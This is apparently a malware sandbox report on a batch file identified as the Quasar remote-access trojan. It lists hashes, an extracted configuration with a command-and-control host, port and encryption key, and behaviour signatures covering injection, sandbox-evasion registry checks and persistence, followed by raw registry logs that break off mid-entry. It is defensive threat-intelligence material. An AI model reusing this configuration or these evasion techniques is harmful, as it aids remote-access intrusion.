Analysis
-
max time kernel
600s -
max time network
455s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
02-05-2024 20:56
Static task
static1
Behavioral task
behavioral1
Sample
R0X-Built.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
R0X-Built.bat
Resource
win10v2004-20240419-en
General
-
Target
R0X-Built.bat
-
Size
326KB
-
MD5
d967ead2d930328fe784be4e199cca49
-
SHA1
cfe200ede38b0c10638d181d64ce202c58b01ba1
-
SHA256
fcedeca6396c7c129f169f635085b84a0af4ab5d1043affe837c96640642230a
-
SHA512
b63459d12140f400539b7233cf8854df6f2805f9f09a902df6fe20649b8af27be408ae667b4101444ce5b1848e4b37383a309c4962e55709c2fe11410a47ee71
-
SSDEEP
6144:bx2lEdv93qPAK5WiwSRae50rX3cvmZi8pSOeAxqDpWStZ9qnR:b1dYPmmH5Tm88pnecqDp3AR
Malware Config
Extracted
quasar
3.1.5
Slave
even-lemon.gl.at.ply.gg:33587
$Sxr-3vDee7FzoJnhqjuE3n
-
encryption_key
KaNwItdY6wlv5nCN4prL
-
install_name
$srr-powershell.exe
-
log_directory
Logs
-
reconnect_delay
1000
-
startup_key
$srr-powershell
-
subdirectory
Windows
Signatures
-
Quasar payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4864-24-0x0000000007140000-0x00000000071AC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 1468 created 616 1468 powershell.EXE winlogon.exe -
Blocklisted process makes network request 3 IoCs
Processes:
powershell.exeflow pid process 26 4864 powershell.exe 28 4864 powershell.exe 30 4864 powershell.exe -
Downloads MZ/PE file
-
Sets service image path in registry 2 TTPs 1 IoCs
Processes:
WaaSMedicAgent.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DoSvc\ImagePath = "C:\\Windows\\System32\\svchost.exe -k NetworkService -p" WaaSMedicAgent.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
$srr-powershell.exeinstall.exepid process 3784 $srr-powershell.exe 512 install.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 23 ip-api.com -
Drops file in System32 directory 19 IoCs
Processes:
DllHost.exepowershell.EXEsvchost.exesvchost.exesvchost.exeOfficeClickToRun.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\V01.chk DllHost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Scan svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A OfficeClickToRun.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 1468 set thread context of 1572 1468 powershell.EXE dllhost.exe -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000\LogConf wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Service wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Mfg wmiprvse.exe -
Checks processor information in registry 2 TTPs 11 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
mousocoreworker.exemousocoreworker.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz mousocoreworker.exe Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 mousocoreworker.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Enumerates system info in registry 2 TTPs 5 IoCs
Processes:
mousocoreworker.exewmiprvse.exemousocoreworker.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS mousocoreworker.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU mousocoreworker.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exesvchost.exemousocoreworker.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Thu, 02 May 2024 20:57:59 GMT" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\ExtendedProperties\LID = "0018800EBF2F8E2D" svchost.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property\0018800EBF2F8E2D = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000001710bbd0a3722e488cb3a197eb0dc454000000000200000000001066000000010000200000006aeb16f060bf3db1615c46e810f33456cb03023c7d85d1e88b8c50a2732094ff000000000e8000000002000020000000ea486d14a24676df004354d2e0dd4dbd1ff3c4f7424c2a5a682d2602f0bfdc4d80000000203e70e20481da065269f0cfa81a44775651f16a723132b2e0516cac6279de0fa7a92631424bacfd890034e9fa7d42220008a6e1e7ba11c7cbb5381ee34fb1114e40bc1487eb96b4576db9b9901d11df83541ddb2ab27881e568a0bf2e19ceaf59c2e94cc28e3d25b6712069b8e95b79b308b7cb31594a7c6c31c9b48a9186954000000030d588db3fdd220dbeaad2dfc1fb0bfcbab2cd0d51f8fd08767694b653865bb562ff782ec24a6410ad24e8413865ae823f008e27be0c590ed51eca5c4b549f58 mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414} mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager mousocoreworker.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1714683478" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Property mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek\CacheStore mousocoreworker.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={B7168CC3-A96F-401B-A590-B0EBB3060897}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000001710bbd0a3722e488cb3a197eb0dc454000000000200000000001066000000010000200000006283d681f41835efa1d7139d845a4acb7fbfdb7416b20b12b40766c07e1d9f72000000000e8000000002000020000000bfe73fb9d04f785c3cc6f8b3995f738646505016abb8ac0d7c7fd725004fe7dfb00300004cbe3e8a1c52c9536034b446f56c548b8e2a891608d57a57b5362f49113fa17a287708914a0871bcfaf3a4679281bc325ba3c6fdf9cfa9a09d6b6646109b678224b7aa6f7dd503fca0f1b71b40ba8a42a303ce3f9907cbfecb345accd6160ad1f0417d5653663792e664050852c82a6d744f0305fb9f073eda56aef100ef776fe4d7345aeb7b25d53cadf22752e9f9f42a320dd61a43d5d37cc305dd979db72b2731792031fff8683c016ff8691e6fff012b8081f01f1a6335b156b3b33c607ed38914ce6fe6ad66e054136f664ab5cbea01ee12c196c48a3715817918863424f1fa31edf1bb86a8543124fee304edc74ab57dda0d49f046c46c97b6bd1a55b873a545699872cdbf555688dd8aad7235e8fb509c392fdf68d4ba7cca58fc59998424566eaf481e7774854d97cedf87d4dbb2d0e3021400bdd3baee681238adbb94d3b8d3834a7deb3b7db2c2162c8f37f33f5e51652d05736609597ffdaee6e49dc020153a1c7f52f8cae0abf82b8630c7a7bc9e38278e1907e3b1431a00637f8d92fbb9249a87f4d58864b8d6b65b6301c1056213688a1d25af6e0e2fb7936b425ccf4aa72431341219ef144f9feb857d5689d4a126e0db9cac55882e7021b25dd8073995bccb625abb257ee54c8b5a3c77d3cce100e419bef865fbd19532293b49b192d4ddb21d250fd3323b564b39b2fa181d62bfb75fbb228f6e36b6c801efb4f5350376044f4a8d3b1c309f38b3b00005388528e46c50ab9553a2eb2416804aa672386ebc7986ae099a9ba76c8ad0ad6a00ee3e588954c6c6002b383559cbde0f5a2f0d4f4ee833de4027400c996c2aa29ae3500692d52534444caa14b4ac80b8cf22d365c14edbb7d9820deff242c7d5f9f127b5bc48bc7bddd4b6b92c80c108932894c176c72b2facff04033c880df0803a09e31ba465904c2bc91c5e56c450bd5860ca1f2ccb47b10967f68e345623e703f83c2604c1a6b3c11b4e513d4f8337f2679ecea3668bcb5cbb9540fd4f4b82a7f5c1c819a7063330e03847f051240a040681993d598e71b452bc718e996fd67830116a71b59004f1694f1320e88eb858e9d6e6bbaaa37342fa63baa2cc5c4428e38a06eb5ae1025c0e19e83c4ab3572b87232b6b0d9e06770bf3082b44677a49606e5b707287d91b191a8dea6b2ffa0fb385c96948dd890b3b1327059ea1086f5c818528b8d0afb0614170f46128fd1e8b12c35456685bc4354bd3911bd0c520c6e1e9de7fba3444380df3e2f1b11ea8ae0095a260a1c51424dbba738916526ec231fc796708e811bd84ad8b302bcfb168ab3ea84b5613c1445cf840000000380a021b4379ccd18a8a568e5c449b16e31f2a16afe865a9353444e4a94bea6c7e69ac6f48c6c9ffefc0f19ad1108e94789d656e710159765a59798748eaf67f mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\SignalManager\Peek mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{0CB4A94A-6E8C-477B-88C8-A3799FC97414}\DeviceId = "0018800EBF2F8E2D" mousocoreworker.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion mousocoreworker.exe -
Modifies registry class 64 IoCs
Processes:
RuntimeBroker.exeRuntimeBroker.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\58a86d3c-9229-47f6 RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\01c7aba1-282c-4a28 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000008a0bf970d39cda018a0bf970d39cda018a0bf970d39cda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000a25846a72000646233653261306466616364396334336537363336666564626462343665363566393061376532393064346534306661393766323863653832653335663664640000b20009000400efbea25846a7a25846a72e00000000000000000000000000000000000000000000000000763eb300640062003300650032006100300064006600610063006400390063003400330065003700360033003600660065006400620064006200340036006500360035006600390030006100370065003200390030006400340065003400300066006100390037006600320038006300650038003200650033003500660036006400640000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea000000180000000300000048b409d91000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c64623365326130646661636439633433653736333666656462646234366536356639306137653239306434653430666139376632386365383265333566366464000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a0580000000000000065626673726b67670000000000000000801e2206ab7e4b4c9e6193781a54b55faea2ad5323feee1196ecde4765eb3faf801e2206ab7e4b4c9e6193781a54b55faea2ad5323feee1196ecde4765eb3fafd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003400310031003300330035003000350034002d0031003900380032003400320030003000340036002d0032003100310038003400390035003700350036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d000000680000000048000000d235c466000000000000d01200000000000000000000000000000000 RuntimeBroker.exe Set value (str) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\90799b8d-6cb4-4905 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy" RuntimeBroker.exe Set value (data) \REGISTRY\USER\S-1-5-21-3411335054-1982420046-2118495756-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e7eb6bcd-0393-43c9 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000008924071d39cda01f9798a71d39cda01f9798a71d39cda01e25606000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a0031000000000000000000